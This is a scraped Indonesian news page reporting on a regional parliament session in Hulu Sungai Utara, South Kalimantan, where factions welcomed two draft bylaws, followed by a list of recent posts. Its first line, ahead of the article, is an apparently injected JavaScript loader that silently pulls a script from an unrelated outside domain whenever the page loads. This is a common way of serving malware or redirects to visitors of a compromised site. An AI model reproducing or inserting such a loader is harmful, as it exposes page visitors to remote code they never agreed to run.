(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Raperda Disambut Positif, Perda Tarif Pelayanan Kesehatan Kelas III Segera Dicabut


KANALKALIMANTAN.COM, AMUNTAI – Fraksi-Fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Hulu Sungai Utara (HSU) sambut positif dua buah Rancangan Peraturan Daerah (Raperda) yang diusulkan eksekutif.

Enam fraksi saat pemandangan umum pada rapat paripurna di DPRD HSU memberikan pemandangan umum atas dua Raperda, Rabu (12/8/2020).

Pertama, Raperda tentang pencabutan atas Perda No 11 tahun 2013 tentang tarif pelayanan kesehatan kelas III pada RSUD Pembalah Batung dan Perda No 7 tahun 2014 tentang perubahan atas Perda nomor 11 tahun 2013 tentang pelayanan kesehatan kelas III pada RSUD Pambalah Batung Amuntai. Kedua, Raperda tentang pedoman pengelolaan barang milik daerah.

Anggota DPRD HSU dari Fraksi PDIP Teddy Suryana mengapresiasi semangat pemerintah daerah atas pencabutan dua buah Perda tersebut, termasuk Raperda tentang pengajuan pengelolaan barang milik daerah.

Teddy mengharapkan pengelolaan barang milik daerah secara optimal ditingkatkan berdasarkan asas fungsional, kepastian, hukum, efisiensi, akuntabilitas dan kepastian nilai.

Sementara itu, Ketua DPRD HSU Almien Anshar Safari mengharapkan tanggapan positif dari  fraksi-fraksi DPRD ini dapat menjadikan Perda nanti menjadi yang terbaik bagi kemaslahatan warga di HSU.

“Semoga apa yang telah disampaikan fraksi-fraksi di DPRD dapat ditanggapi secara positif pihak eksekutif dan dijadikan bahan dalam penyampaian jawaban kepala daerah pada rapat paripurna berikutnya,” ucap Almien.

Rapat Paripurna dihadiri Bupati HSU H Abdul Wahid HK, dipimpin Ketua DPRD HSU Almien Ashar Safari, didampingi Wakil Ketua I Mawardi SH MM dan Wakil Ketua II Faturrahim A,  dihadiri 28 anggota DPRD HSU, sedangkan 2 orang izin.

Selain penyampaian pandangan umum fraksi, diakhir rapat dilaksanakan penandatanganan persetujuan bersama Kebijakan Umum APBD dan Priotas dan Plafon Anggaran sementara Kabupaten HSU Anggaran 2001 oleh kepala daerah dan pimpinan DPRD HSU. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

56 menit ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

2 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

3 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

3 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

5 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

6 jam ago

This website uses cookies.